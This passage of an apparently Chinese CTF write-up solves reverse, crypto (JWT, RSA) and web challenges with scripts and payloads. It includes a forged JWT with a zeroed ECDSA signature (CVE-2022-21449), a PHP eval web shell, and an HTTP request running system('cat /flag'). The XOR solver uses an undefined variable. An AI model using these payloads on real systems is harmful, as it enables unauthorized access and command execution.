CheckAddr = namedtuple('check', [])

rela = [x for x in b.sections if x.name == '.rela.dyn'][0]
dynsym = [x for x in b.sections if x.name == '.dynsym'][0]

def format_addr(addr: int):
    if (addr >= rela.virtual_address and addr < rela.virtual_address + rela.size):
        offset = addr - rela.virtual_address
        r_offset = (offset // 24)
        r_rem = offset % 24

        if r_rem == 0:
            return RelocAddr(Reloc(r_offset), 'r_address')
        elif r_rem == 8:
            return RelocAddr(Reloc(r_offset), 'r_info')
        elif r_rem == 16:
            return RelocAddr(Reloc(r_offset), 'r_addend')
        else:
            return RelocAddr(Reloc(r_offset), r_rem)

    elif (addr > dynsym.virtual_address
          and addr < dynsym.virtual_address + dynsym.size
          ):
        offset = addr - dynsym.virtual_address
        r_offset = (offset // 24)
        r_rem = offset % 24

        if r_rem == 0:
            return SymAddr(Symbol(r_offset), 'st_name')
        elif r_rem == 8:
            return Symbol(r_offset)
        elif r_rem == 16:
            return SymAddr(Symbol(r_offset), 'st_size')
        else:
            return SymAddr(Symbol(r_offset), r_rem)

    elif addr >= 0x404040 and addr < 0x404040+0x21:
        off = addr-0x404040
        return FlagAddr(off)
    elif addr == 0x804000:
        return BaseAddr()
    elif addr == 0x404064:
        return CheckAddr()
    else:
        return addr

def parse(b) -> list:
    print('[*] Loading relocations...')
    relocs = list(b.relocations)

    print('[*] Parsing...')
    instructions = []
    for i in range(3, len(relocs)):
        r = relocs[i]
        if r.type == 1:
            instructions.append(
                R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
        elif r.type == 5:  # CPY
            instructions.append(
                Copy(format_addr(r.address), to_sym(r.symbol.name), i))
        elif r.type == 8:  # REL
            instructions.append(
                Rel(format_addr(r.address), format_addr(r.addend), i))
        elif r.type == 7:  # R32
            # instructions.append(
            #    R32(r.address, to_sym(r.symbol.name), r.addend, i))
            instructions.append(R32(1, 1, 1, 1))

    return instructions

def dump(instructions):
    for op in instructions:
        if type(op).__name__ == 'REL':
            print(f'[{op.ridx:04d}] :: rel {op.dst}, {op.val}')
        elif type(op).__name__ == 'CPY':
            print(f'[{op.ridx:04d}] :: copy {op.dst}, {op.symbol}')
        elif type(op).__name__ == 'R64':
            print(f'[{op.ridx:04d}] :: r64 {op.dst}, {op.symbol} + {op.addend}')
        elif type(op).__name__ == 'R32':
            print('7')
        if(op.ridx == 1266):
            break

instructions = parse(b)
dump(instructions)

提取后发现主要逻辑为加载 shellcode 并执行

[0005] :: rel s2, flag[0]
[0006] :: rel s2.st_size, 1
[0007] :: copy s4, s2
[0009] :: rel r8.r_address, 0x16008040cc253480
[0010] :: rel r8.r_info, 0xc3
[0011] :: rel s3, r8.r_address
[0012] :: rel s3.st_name, 0x1000a0000001a
[0013] :: r64 r8.r_address, 3 + 0
[0014] :: rel s2, r101002.r_address
[0015] :: rel s2.st_size, 0x18
[0016] :: copy r8.r_address, s2
[0018] :: rel r17.r_address, 0x8040cc250480
[0019] :: rel r17.r_info, 0xc3
[0020] :: rel s3, r17.r_address
[0021] :: rel s3.st_name, 0x1000a0000001a
[0022] :: r64 r17.r_address, 3 + 0
[0023] :: copy r17.r_address, s2
[0024] :: rel s2, s4
[0025] :: rel s2.st_size, 1
[0026] :: copy r3.r_address, s2

[0597] :: rel s2, r3.r_address
[0598] :: rel s2.st_size, 8
[0599] :: copy s6, s2
[0601] :: rel r600.r_address, 0x70008040fc253480
[0602] :: rel r600.r_info, 0xc3
[0603] :: rel s3, r600.r_address
[0604] :: rel s3.st_name, 0x1000a0000001a
[0605] :: r64 r600.r_address, 3 + 0
[0606] :: rel s2, r101002.r_address
[0607] :: rel s2.st_size, 0x18
[0608] :: copy r600.r_address, s2
[0609] :: rel s2, s6
[0610] :: rel s2.st_size, 8
[0611] :: copy r612.r_addend, s2
[0612] :: r64 s5, 5 + 0
[0613] :: rel r612.r_addend, 0
[0614] :: rel s6, 0

上述代码对 flag 第一位执行了两处 shellcode,shellcode 为 f ^ 0x16 + 0 随后对该值 xor 0x70,最后值为 0 表示通过

前28位flag均是该逻辑的重复

xor = [0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27]
add = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b]
xor2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32]

for x1, a, x2 in zip(xor, add, xor2):
    print (chr((x2 - a) ^ x), end='')
# flag{366c950370fec47e34581a0

对最后几位flag进行了如下计算

(flag[28] + flag[29]) ^ 0x6c = 0
(flag[28] * 2 + flag[29]) ^ 0xa1 = 0
(flag[30] + flag[31]) ^ 0xb1 = 0
(flag[30] * 2 + flag[31]) ^ 0xe5 = 0

计算得到flag最后四位

Crypto

MyJWT

一个基于 ECDSA 的 JWT,需要绕过签名验证得到 flag。签名头部 base64 解码,admin 字段为 false,考虑将其修改为 true 后绕过。

搜索发现漏洞 CVE-2022-21449。https://jfrog.com/blog/cve-2022-21449-psychic-signatures-analyzing-the-new-java-crypto-vulnerability/,未验证提交签名中参数是否为 0,提交定长空字节的 base64 编码即可通过验证。

ECDSA 内置实例算法采用 SHA384,对应签名 base64 长度为 128,编码 96 个空字节即可。远程连接提交用户名拿到 Token,在有效时间内修改 admin 字段为 true 后重新编码。payload 为初始字段+修改了admin的头部+空字节编码。

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoic2IiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNjU5MTk1NTg0NTgwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Factor

https://eprint.iacr.org/2015/399.pdf
https://eprint.iacr.org/2015/399.pdf

参照这篇论文的做法,论文中提到的三种攻击就对应了此题的三关,反序解出即可。

第一二关都是Coppersmith方法解决,用sage中的small_roots()函数。

第三关采用连分数解决。

第一二关脚本 and 第三关脚本

n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
R.<x> = PolynomialRing(Zmod(n3),implementation='NTL')
e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
z=17623328397444755087284107444487160871617682792372566887446834913712379373851213638071138745775127796589871734472781755930251379295485892067473329763997583502625804363418069062645997342172778252731889437
f=e3*x-z
f=f.monic()
print(f.small_roots(beta=0.7))
import gmpy2
from libnum import n2s
from math import gcd


def tCf(n, d):
    res = []
    while d:
        res.append(n // d)
        n, d = d, n % d
    return res


def cf(sub_res):
    n, d = 1, 0
    for i in sub_res[::-1]:
        d, n = n, i * n + d
    return d, n


def listFraction(x, y):
    res = tCf(x, y)
    res = list(map(cf, (res[0:i] for i in range(1, len(res)))))
    return res


n11=801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637
n12=635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371
e11=1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865
e12=1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881

res = listFraction(n11, n12)
for i in res:
    if n12 % i[0] == 0 and n11 % i[1] == 0 and i != (1,1):
        q1 = i[1]
        q2 = i[0]
p1 = int(gmpy2.iroot(n11 // q1, 2)[0])
p2 = int(gmpy2.iroot(n12 // q2, 2)[0])
print(p1,p2)

c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579
c12=336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665

phi11 = (p1) * (p1-1) * (q1-1)
phi12 = (p2) * (p2-1) * (q2-1)
d11 = gmpy2.invert(e11,phi11)
d12 = gmpy2.invert(e12,phi12)
m1 = pow(c11,d11,n11)
m2 = pow(c12,d12,n12)
print(m1)
print(m2)
n2 = 209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209
x = 3549384841973213309621072870106254602253656209014197632823411827739864720839737811030401306800875843661955913236834617545674409639259372934721570288281471569069146201536309734296340629562207991295283896
g = gcd(m1*m2*x-(m2-m1),n2)
p2 = int(gmpy2.iroot(g,6)[0])
q2 = n2 // (p2 ** 7)
e2 = 0x10001
phi2 = (p2 ** 6) * (p2 - 1) * (q2 - 1)
d2 = gmpy2.invert(e2,phi2)
c2 = 18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653
b = pow(c2,d2,n2)
print(b)

n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
x3 = 16731588253866128571163910758846497670928988943944436618514118121761227689113110943465936457030051710610254169629932203082368465978112219532158626669990117160986135699541953274434781877420432743573801621
g3 = gcd(e3*x3-b,n3)
p3 = int(gmpy2.iroot(g3,6)[0])
q3 = n3 // (p3 ** 7)
phi3 = (p3 ** 6) * (p3 - 1) * (q3 - 1)
c3 = 113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763
d3 = gmpy2.invert(e3,phi3)
m3 = pow(c3,d3,n3)
print(n2s(int(m3)))

强网先锋

Polydiv

远程交互打 40 关,每次给三个多项式 a(x), r(x), c(x),需要求一个 b(x) 满足模2多项式环上 a(x)b(x)+c(x)==r(x)。给出的多项式都满足可以整除,做一个模2环上的多项式除法就行。

最后需要调整格式,高位在左低位在右。

from hashlib import sha256
from pwn import *
from re import findall
from math import log,floor

def GF2_sub(n1, n2):
    return n1 ^ n2

def GF2_div(n1, n2):
    if n2 == 1:
        return n1
    else:
        len1 = len(bin(n1))
        len2 = len(bin(n2))
        lensub = len1 - len2 + 1

        if lensub < 1:
            return hex(0)
        elif lensub == 1:
            return hex(1)
        elif lensub > 1:
            div = 0
            while len1 >= len2:
                n1 ^= (n2 << (len1 - len2))
                div ^= (1 << (len1-len2))
                len1 = len(bin(n1))
            return div

p = remote('182.92.161.17', 31466)

s = p.recv()
kk = str(s)[14:30]
tt = str(s)[35:-3]
print(kk)
print(tt)

alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
for i in alphabet:
    for j in alphabet:
        for k in alphabet:
            for l in alphabet:
                if sha256((i+j+k+l+kk).encode()).hexdigest() == tt:
                    p.sendline((i+j+k+l).encode())


for i in range(40):
    s = p.recv()

    poly = str(s).split("\\n")
    rr = []
    aa = []
    cc = []
    print(poly)
    print(len(poly))
    ps = poly[0] + ' '
    for i in range(len(ps)-1):
        if ps[i] == 'x' and ps[i+1] == ' ':
            rr.append(1)
            break
    ps = poly[1] + ' '
    for i in range(len(ps)-1):
        if ps[i] == 'x' and ps[i+1] == ' ':
            aa.append(1)
            break
    ps = poly[2] + ' '
    for i in range(len(ps)-1):
        if ps[i] == 'x' and ps[i+1] == ' ':
            cc.append(1)
            break
    r = findall(r"\d+",poly[0])
    a = findall(r"\d+",poly[1])
    c = findall(r"\d+",poly[2])
    r = [int(i) for i in r]
    a = [int(i) for i in a]
    c = [int(i) for i in c]
    if 1 in r:
        rr.append(0)
    if 1 in a:
        aa.append(0)
    if 1 in c:
        cc.append(0)
    for i in r:
        if i != 1:
            rr.append(i)
    for i in a:
        if i != 1:
            aa.append(i)
    for i in c:
        if i != 1:
            cc.append(i)
    print(rr,aa,cc)

    rp = 0
    ap = 0
    cp = 0
    for i in rr:
        rp += 2 ** i
    for i in aa:
        ap += 2 ** i
    for i in cc:
        cp += 2 ** i
    print(rp,ap,cp)
    bp = GF2_div(GF2_sub(rp,cp),ap)
    print(bp)
    sends = ""
    strb = bin(bp)[2:]
    for i in range(len(strb)):
        if strb[i] == '1':
            if i == len(strb)-1:
                sends += "1"
            elif i == len(strb)-2:
                sends += "x"
            else:
                sends += "x^{}".format(len(strb)-i-1)
            sends += " + "
    sends = sends[:-3]
    print(sends)
    p.sendline(sends.encode())
    print(p.recv())
p.sendline(sends.encode())
print(p.recv())

ASR

yafu 一直缺少组件,factordb 赏饭吃,给出一个分解,调整 yafu 参数后,分出剩余三个质数。

p**2=N

用 AMM 得出模 p 的解,发现 m 过长,再代入 m=mp+k*p 解出模N的解,得到答案。

import random
import time


def AMM(o, r, q):
    start = time.time()
    print('\n----------------------------------------------------------------------------------')
    print('Start to run Adleman-Manders-Miller Root Extraction Method')
    print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
    g = GF(q)
    o = g(o)
    p = g(random.randint(1, q))
    while p ^ ((q-1) // r) == 1:
        p = g(random.randint(1, q))
    print('[+] Find p:{}'.format(p))
    t = 0
    s = q - 1
    while s % r == 0:
        t += 1
        s = s // r
    print('[+] Find s:{}, t:{}'.format(s, t))
    k = 1
    while (k * s + 1) % r != 0:
        k += 1
    alp = (k * s + 1) // r
    print('[+] Find alp:{}'.format(alp))
    a = p ^ (r**(t-1) * s)
    b = o ^ (r*alp - 1)
    c = p ^ s
    h = 1
    for i in range(1, t):
        d = b ^ (r^(t-1-i))
        if d == 1:
            j = 0
        else:
            print('[+] Calculating DLP...')
            j = - discrete_log(a, d)
            print('[+] Finish DLP...')
        b = b * (c^r)^j
        h = h * c^j
        c = c ^ r
    result = o^alp * h
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    print('Find one solution: {}'.format(result))
    return result
def findAllPRoot(p, e):
    print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
    start = time.time()
    proot = set()
    while len(proot) < e:
        proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    return proot

def findAllSolutions(mp, proot, cp, p):
    print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
    start = time.time()
    all_mp = set()
    for root in proot:
        mp2 = mp * root % p
        assert(pow(mp2, e, p) == cp)
        all_mp.add(mp2)
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    return all_mp
e=3
p0 = 260594583349478633632570848336184053653
p1 = 223213222467584072959434495118689164399
p2 = 225933944608558304529179430753170813347
p3 = 218566259296037866647273372633238739089
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
c0=c%p0
c1=c%p1
c2=c%p2
c3=c%p3
pl = []
ql = []
m2 = int(AMM(c2, e, p2))
m3 = int(AMM(c3, e, p3))
proot2=findAllPRoot(p2,e)
proot3=findAllPRoot(p3,e)
pl = findAllSolutions(m2, proot2, c2, p2)
ql = findAllSolutions(m3, proot3, c3, p3)
print(pl)
print(ql)
pl=list(pl)
ql=list(ql)
d0=173729722232985755755047232224122702435
d1=148808814978389381972956330079126109599
m0=int(pow(c0,d0,p0))
m1=int(pow(c1,d1,p1))
for i in range(e):
    for j in range(e):
        m = crt([int(pl[i]), int(ql[j]),m0,m1], [p2, p3,p0,p1])
        print(m)
from libnum import n2s
import gmpy2

p0 = 260594583349478633632570848336184053653
p1 = 223213222467584072959434495118689164399
p2 = 225933944608558304529179430753170813347
p3 = 218566259296037866647273372633238739089
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
print((p0 * p1 * p2 * p3) ** 2 == n)
phi = p0 * (p0 - 1) * (p1 - 1) * p1 * (p2 - 1) * p2 * p3 * (p3 - 1)
pr = (p0 * p1 * p2 * p3)
print((p3 - 1) % 27)
fl = [
    1529007847379796407634756887525822026696243818376722108701969132742428428165312563623502055174162111318912346740690335148179223775392999980945766987459837,
    1475292321022733362914538619161388693005464952363739416469049560011153697847764341022230542196966303658527328460810763143999529259177792246387209275640333,
    1306173663174680354544083835098873046665147955161485267105809626183470299213147062484361435517127425037465762176491160436617371316470553010760895171531168,
    153759683776433243399305434624208622981670871584305881184763149503345166185487917443890373624829793380160217617791063750644305153019838041206592966473567,
    100044157419370198679087166259775289290892005571323188951843576772070435867939694842618860647633985719775199337911491746464610636804630306648035254654063,
    2803358489265171472227210840490862843537881207776943757296126230937523911331160681955579712312498104881693839057868862438866912819678753688485739816184899,
    222834185454100348265422735477774595442565074276484202923325623851990342933869396693076942784741899922511481742674099962888282201740191862829636553138531,
    169118659097037303545204467113341261751786208263501510690406051120715612616321174091805429807546092262126463462794527958708587685524984128271078841319027,
    1248984295174749683050825615411469211061247361327166117293032213981703895553936323127707213641064897178474925251326429742817744892644764737209862]
for i in fl:
    le = (c - i ** 3) % n
    le = le * gmpy2.invert(3 * (i ** 2), n)
    x = le // pr
    i = i + x * pr
    print(pow(i, e, n) == c)
    print(n2s(int(i)))

rcefile

存在 spl_autoload 函数,上传文件 test.inc

<?php
eval($_GET['cmd']);

记下返回的文件名 d6e2555175cf7f64910cbfce15842643.inc 后自动包含

GET /showfile.php?cmd=system('cat+/flag')%3b HTTP/1.1
Host: eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com/
Cookie: O%3a32%3a"D6e2555175cf7f64910cbfce15842643"%3a0%3a{}
Upgrade-Insecure-Requests: 1